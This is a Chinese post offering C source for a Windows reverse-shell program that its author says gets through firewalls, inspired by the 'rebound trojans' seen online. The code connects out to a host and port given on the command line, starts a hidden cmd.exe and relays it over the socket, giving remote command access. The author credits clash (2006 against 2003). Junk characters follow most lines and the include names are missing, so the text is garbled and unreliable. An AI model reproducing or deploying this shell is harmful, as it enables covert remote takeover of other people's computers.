这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +#8?y
5~q
y _J~n 9R
/* ============================== ! P/ ]o
Rebound port in Windows NT =<fH RX`
By wind,2006/7 H6E@C}cyM
===============================*/ *}R5=r0
#include lnL&v'{
#include fZ$<'(t
/]%,C
#pragma comment(lib,"wsock32.lib") u^a\02aV[
>SpXB:wx
void OutputShell(); xn)FE4
SOCKET sClient; 8+Al+6d|!
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; h`+Gs{1qw
IrQ8t!
void main(int argc,char **argv) Pd!;z=I
{
F7a &-
WSADATA stWsaData; b7R#tT
int nRet; NHA
2 i
SOCKADDR_IN stSaiClient,stSaiServer; fHvQ 9*T
f/Km$#xOr
if(argc != 3) WS9n.opl}
{ Ug^C}".&
printf("Useage:\n\rRebound DestIP DestPort\n"); IcZ_AIjlk
return; ^% BD
} d='z^vHK
piJ/e
WSAStartup(MAKEWORD(2,2),&stWsaData); vW]Frb
pC(AM=RY!
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }<7Dyn,
,e+.Q#r*Y
stSaiClient.sin_family = AF_INET; N%;Q[*d@/
stSaiClient.sin_port = htons(0); hRb
k-b
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); dvxD{UH
/-z_"G
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !_E E|#`n
{ Le9r7O:
printf("Bind Socket Failed!\n"); 1~8F&
return; ]_I<-}?;
} _/ j44q
% \N.m/5
stSaiServer.sin_family = AF_INET; //@_`.
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \<|a>{`7]i
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 'j#oMA{0
g3n^
<[E
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) q_HC68YF,
{ Djx9TBZ5
printf("Connect Error!"); OP
|{R7uC
return; /'
L20aN2
} [?Y u3E\
OutputShell(); OdgfvHDgW
} p9R`hgx
]n?a h
void OutputShell() D}"\nCz}y&
{ j)Kk:BFFY
char szBuff[1024]; qMYR\4"$
SECURITY_ATTRIBUTES stSecurityAttributes; G39H@@ *O0
OSVERSIONINFO stOsversionInfo; ?# >|P-4
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^q"p8
STARTUPINFO stStartupInfo; oV?tp4&
char *szShell; ~cSC-|$^&
PROCESS_INFORMATION stProcessInformation; Z]$yuM
unsigned long lBytesRead; JeMhiY}
,iCd6M{
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ]@l~z0^|[_
L6BHh_*E
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); FU!U{qDI
stSecurityAttributes.lpSecurityDescriptor = 0; V5KAiG<d
stSecurityAttributes.bInheritHandle = TRUE; W()FKP\??!
o]n5pZ\\W<
,8o]XFOr
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); R8EDJ2u#
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); gv `jeN
598xV|TON
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); x)G/YUv76
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L3Ry#uw
stStartupInfo.wShowWindow = SW_HIDE; =N<Hc:<t4
stStartupInfo.hStdInput = hReadPipe; L"zOa90ig
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5<IUTso5h
;Iw'TF
GetVersionEx(&stOsversionInfo); ec1snMY
8v1asFxs.
switch(stOsversionInfo.dwPlatformId) 6#N1 -@
{ )_+"
case 1: _kH#{4`Hw
szShell = "command.com"; ~FZLA}
break; St|sUtj<r
default: [lS'GszA
szShell = "cmd.exe"; '7>Vmr6
break; QC4_\V>[
} tt|U,o
1|/2%IDUI
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :L:;~t K
v{H23Cfh:
send(sClient,szMsg,77,0); i2)SSQ
while(1) (n"M)
{ ,~K_rNNZ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ehxtNjA
if(lBytesRead) Yc:b:\0}F6
{ XF\`stEnb
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "4g1I<
send(sClient,szBuff,lBytesRead,0); i+(`"8W
} "R*B~73
else z-7F,$
{ P%Q}R[Q
lBytesRead=recv(sClient,szBuff,1024,0); VmBLNM?
if(lBytesRead<=0) break; g?j"d{.9t
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); qFUpvTe
} \_x)E]D
} 51x^gX|
ui9gt"qS`
return; +6gS]
}